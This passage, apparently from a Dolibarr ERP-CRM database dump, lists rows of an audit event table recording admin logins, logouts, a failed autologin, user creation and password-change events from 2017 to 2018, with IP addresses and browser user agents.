AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(787,'2017-01-29 15:41:41','USER_LOGOUT',1,'2017-01-29 19:41:41',12,'(UserLogoff,admin)','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(788,'2017-01-29 15:42:43','USER_LOGIN',1,'2017-01-29 19:42:43',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x571','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(789,'2017-01-29 15:43:18','USER_LOGOUT',1,'2017-01-29 19:43:18',12,'(UserLogoff,admin)','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(790,'2017-01-29 15:46:31','USER_LOGIN',1,'2017-01-29 19:46:31',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x571','192.168.0.254','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(791,'2017-01-29 16:18:56','USER_LOGIN',1,'2017-01-29 20:18:56',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Berlin;Screen=360x526','192.168.0.254','Mozilla/5.0 (Linux; Android 6.0; LG-H818 Build/MRA58K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/55.0.2883.91 Mobile Safari/537.36 - DoliDroid - Android client pour Dolibarr ERP-CRM',NULL,NULL,NULL,NULL),(792,'2017-01-29 17:20:59','USER_LOGIN',1,'2017-01-29 21:20:59',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(793,'2017-01-30 11:19:40','USER_LOGIN',1,'2017-01-30 15:19:40',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(794,'2017-01-31 16:49:39','USER_LOGIN',1,'2017-01-31 20:49:39',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x520','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(795,'2017-02-01 10:55:23','USER_LOGIN',1,'2017-02-01 14:55:23',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(796,'2017-02-01 13:34:31','USER_LOGIN',1,'2017-02-01 17:34:31',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(797,'2017-02-01 14:41:26','USER_LOGIN',1,'2017-02-01 18:41:26',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(798,'2017-02-01 23:51:48','USER_LOGIN_FAILED',1,'2017-02-02 03:51:48',NULL,'Bad value for login or password - login=autologin','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(799,'2017-02-01 23:52:55','USER_LOGIN',1,'2017-02-02 03:52:55',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(800,'2017-02-01 23:55:45','USER_CREATE',1,'2017-02-02 03:55:45',12,'User aboston created','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(801,'2017-02-01 23:55:45','USER_NEW_PASSWORD',1,'2017-02-02 03:55:45',12,'Password change for aboston','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(802,'2017-02-01 23:56:38','USER_MODIFY',1,'2017-02-02 03:56:38',12,'User aboston modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(803,'2017-02-01 23:56:50','USER_MODIFY',1,'2017-02-02 03:56:50',12,'User aboston modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(804,'2017-02-02 01:14:44','USER_LOGIN',1,'2017-02-02 05:14:44',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36',NULL,NULL,NULL,NULL),(805,'2017-02-03 10:27:18','USER_LOGIN',1,'2017-02-03 14:27:18',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(806,'2017-02-04 10:22:34','USER_LOGIN',1,'2017-02-04 14:22:34',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x489','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(807,'2017-02-06 04:01:31','USER_LOGIN',1,'2017-02-06 08:01:31',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(808,'2017-02-06 10:21:32','USER_LOGIN',1,'2017-02-06 14:21:32',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(809,'2017-02-06 19:09:27','USER_LOGIN',1,'2017-02-06 23:09:27',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(810,'2017-02-06 23:39:17','USER_LOGIN',1,'2017-02-07 03:39:17',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(811,'2017-02-07 11:36:34','USER_LOGIN',1,'2017-02-07 15:36:34',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x676','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(812,'2017-02-07 18:51:53','USER_LOGIN',1,'2017-02-07 22:51:53',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(813,'2017-02-07 23:13:40','USER_LOGIN',1,'2017-02-08 03:13:40',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(814,'2017-02-08 09:29:12','USER_LOGIN',1,'2017-02-08 13:29:12',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(815,'2017-02-08 17:33:12','USER_LOGIN',1,'2017-02-08 21:33:12',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(816,'2017-02-09 17:30:34','USER_LOGIN',1,'2017-02-09 21:30:34',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(817,'2017-02-10 09:30:02','USER_LOGIN',1,'2017-02-10 13:30:02',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(818,'2017-02-10 16:16:14','USER_LOGIN',1,'2017-02-10 20:16:14',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(819,'2017-02-10 17:28:15','USER_LOGIN',1,'2017-02-10 21:28:15',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(820,'2017-02-11 12:54:03','USER_LOGIN',1,'2017-02-11 16:54:03',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(821,'2017-02-11 17:23:52','USER_LOGIN',1,'2017-02-11 21:23:52',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(822,'2017-02-12 12:44:03','USER_LOGIN',1,'2017-02-12 16:44:03',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(823,'2017-02-12 16:42:13','USER_LOGIN',1,'2017-02-12 20:42:13',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(824,'2017-02-12 19:14:18','USER_LOGIN',1,'2017-02-12 23:14:18',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(825,'2017-02-15 17:17:00','USER_LOGIN',1,'2017-02-15 21:17:00',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(826,'2017-02-15 22:02:40','USER_LOGIN',1,'2017-02-16 02:02:40',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(827,'2017-02-16 22:13:27','USER_LOGIN',1,'2017-02-17 02:13:27',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x619','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(828,'2017-02-16 23:54:04','USER_LOGIN',1,'2017-02-17 03:54:04',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(829,'2017-02-17 09:14:27','USER_LOGIN',1,'2017-02-17 13:14:27',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(830,'2017-02-17 12:07:05','USER_LOGIN',1,'2017-02-17 16:07:05',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(831,'2017-02-19 21:22:20','USER_LOGIN',1,'2017-02-20 01:22:20',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(832,'2017-02-20 09:26:47','USER_LOGIN',1,'2017-02-20 13:26:47',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(833,'2017-02-20 16:39:55','USER_LOGIN',1,'2017-02-20 20:39:55',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(834,'2017-02-20 16:49:00','USER_MODIFY',1,'2017-02-20 20:49:00',12,'Modification utilisateur ccommerson','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(835,'2017-02-20 17:57:15','USER_LOGIN',1,'2017-02-20 21:57:14',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(836,'2017-02-20 19:43:48','USER_LOGIN',1,'2017-02-20 23:43:48',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(837,'2017-02-21 00:04:05','USER_LOGIN',1,'2017-02-21 04:04:05',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(838,'2017-02-21 10:23:13','USER_LOGIN',1,'2017-02-21 14:23:13',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(839,'2017-02-21 10:30:17','USER_LOGOUT',1,'2017-02-21 14:30:17',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(840,'2017-02-21 10:30:22','USER_LOGIN',1,'2017-02-21 14:30:22',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(841,'2017-02-21 11:44:05','USER_LOGIN',1,'2017-02-21 15:44:05',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36',NULL,NULL,NULL,NULL),(842,'2017-05-12 09:02:48','USER_LOGIN',1,'2017-05-12 13:02:48',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.96 Safari/537.36',NULL,NULL,NULL,NULL),(843,'2017-08-27 13:29:16','USER_LOGIN',1,'2017-08-27 17:29:16',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36',NULL,NULL,NULL,NULL),(844,'2017-08-28 09:11:07','USER_LOGIN',1,'2017-08-28 13:11:07',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36',NULL,NULL,NULL,NULL),(845,'2017-08-28 10:08:58','USER_LOGIN',1,'2017-08-28 14:08:58',12,'(UserLogged,admin) - TZ=;TZString=;Screen=x','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36',NULL,NULL,NULL,NULL),(846,'2017-08-28 10:12:46','USER_MODIFY',1,'2017-08-28 14:12:46',12,'User admin modified','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36',NULL,NULL,NULL,NULL),(847,'2017-08-28 10:28:25','USER_LOGIN',1,'2017-08-28 14:28:25',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36',NULL,NULL,NULL,NULL),(848,'2017-08-28 10:28:36','USER_LOGOUT',1,'2017-08-28 14:28:36',12,'(UserLogoff,admin)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36',NULL,NULL,NULL,NULL),(849,'2017-08-28 10:34:50','USER_LOGIN',1,'2017-08-28 14:34:50',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36',NULL,NULL,NULL,NULL),(850,'2017-08-28 11:59:02','USER_LOGIN',1,'2017-08-28 15:59:02',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.101 Safari/537.36',NULL,NULL,NULL,NULL),(851,'2017-08-29 09:57:34','USER_LOGIN',1,'2017-08-29 13:57:34',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(852,'2017-08-29 11:05:51','USER_LOGIN',1,'2017-08-29 15:05:51',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(853,'2017-08-29 14:15:58','USER_LOGIN',1,'2017-08-29 18:15:58',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(854,'2017-08-29 17:49:28','USER_LOGIN',1,'2017-08-29 21:49:28',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(855,'2017-08-30 11:53:25','USER_LOGIN',1,'2017-08-30 15:53:25',18,'(UserLogged,ldestailleur) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(856,'2017-08-30 12:19:31','USER_MODIFY',1,'2017-08-30 16:19:31',18,'Modification utilisateur ldestailleur - UserRemovedFromGroup','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(857,'2017-08-30 12:19:32','USER_MODIFY',1,'2017-08-30 16:19:32',18,'Modification utilisateur ldestailleur - UserRemovedFromGroup','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(858,'2017-08-30 12:19:33','USER_MODIFY',1,'2017-08-30 16:19:33',18,'Modification utilisateur ldestailleur - UserRemovedFromGroup','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(859,'2017-08-30 12:21:42','USER_LOGOUT',1,'2017-08-30 16:21:42',18,'(UserLogoff,ldestailleur)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(860,'2017-08-30 12:21:48','USER_LOGIN',1,'2017-08-30 16:21:48',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(861,'2017-08-30 15:02:06','USER_LOGIN',1,'2017-08-30 19:02:06',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(862,'2017-08-31 09:25:42','USER_LOGIN',1,'2017-08-31 13:25:42',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(863,'2017-09-04 07:51:21','USER_LOGIN',1,'2017-09-04 11:51:21',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x577','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(864,'2017-09-04 09:17:09','USER_LOGIN',1,'2017-09-04 13:17:09',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(865,'2017-09-04 13:40:28','USER_LOGIN',1,'2017-09-04 17:40:28',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(866,'2017-09-06 07:55:30','USER_LOGIN',1,'2017-09-06 11:55:30',18,'(UserLogged,ldestailleur) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(867,'2017-09-06 07:55:33','USER_LOGOUT',1,'2017-09-06 11:55:33',18,'(UserLogoff,ldestailleur)','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(868,'2017-09-06 07:55:38','USER_LOGIN',1,'2017-09-06 11:55:38',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(869,'2017-09-06 16:03:38','USER_LOGIN',1,'2017-09-06 20:03:38',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(870,'2017-09-06 19:43:07','USER_LOGIN',1,'2017-09-06 23:43:07',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x937','127.0.0.1','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36',NULL,NULL,NULL,NULL),(871,'2018-01-19 11:18:08','USER_LOGOUT',1,'2018-01-19 11:18:08',12,'(UserLogoff,admin)','82.240.38.230','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36',NULL,NULL,NULL,NULL),(872,'2018-01-19 11:18:47','USER_LOGIN',1,'2018-01-19 11:18:47',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x965','82.240.38.230','Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36',NULL,NULL,NULL,NULL),(873,'2018-01-19 11:21:41','USER_LOGIN',1,'2018-01-19 11:21:41',12,'(UserLogged,admin) - TZ=1;TZString=Europe/Paris;Screen=1920x926','82.240.38.230','Mozilla/5.0 (X11; Linux x86_64; rv:57.0) Gecko/20100101 Firefox/57.0',NULL,NULL,NULL,NULL),(874,'2018-01-19 11:24:18','USER_NEW_PASSWORD',1,'2018-01-19 11:24:18',12,'Password change for admin','82.240.38.230','Mozilla/5.0 (X11; Linux x86_64; rv:57.0) 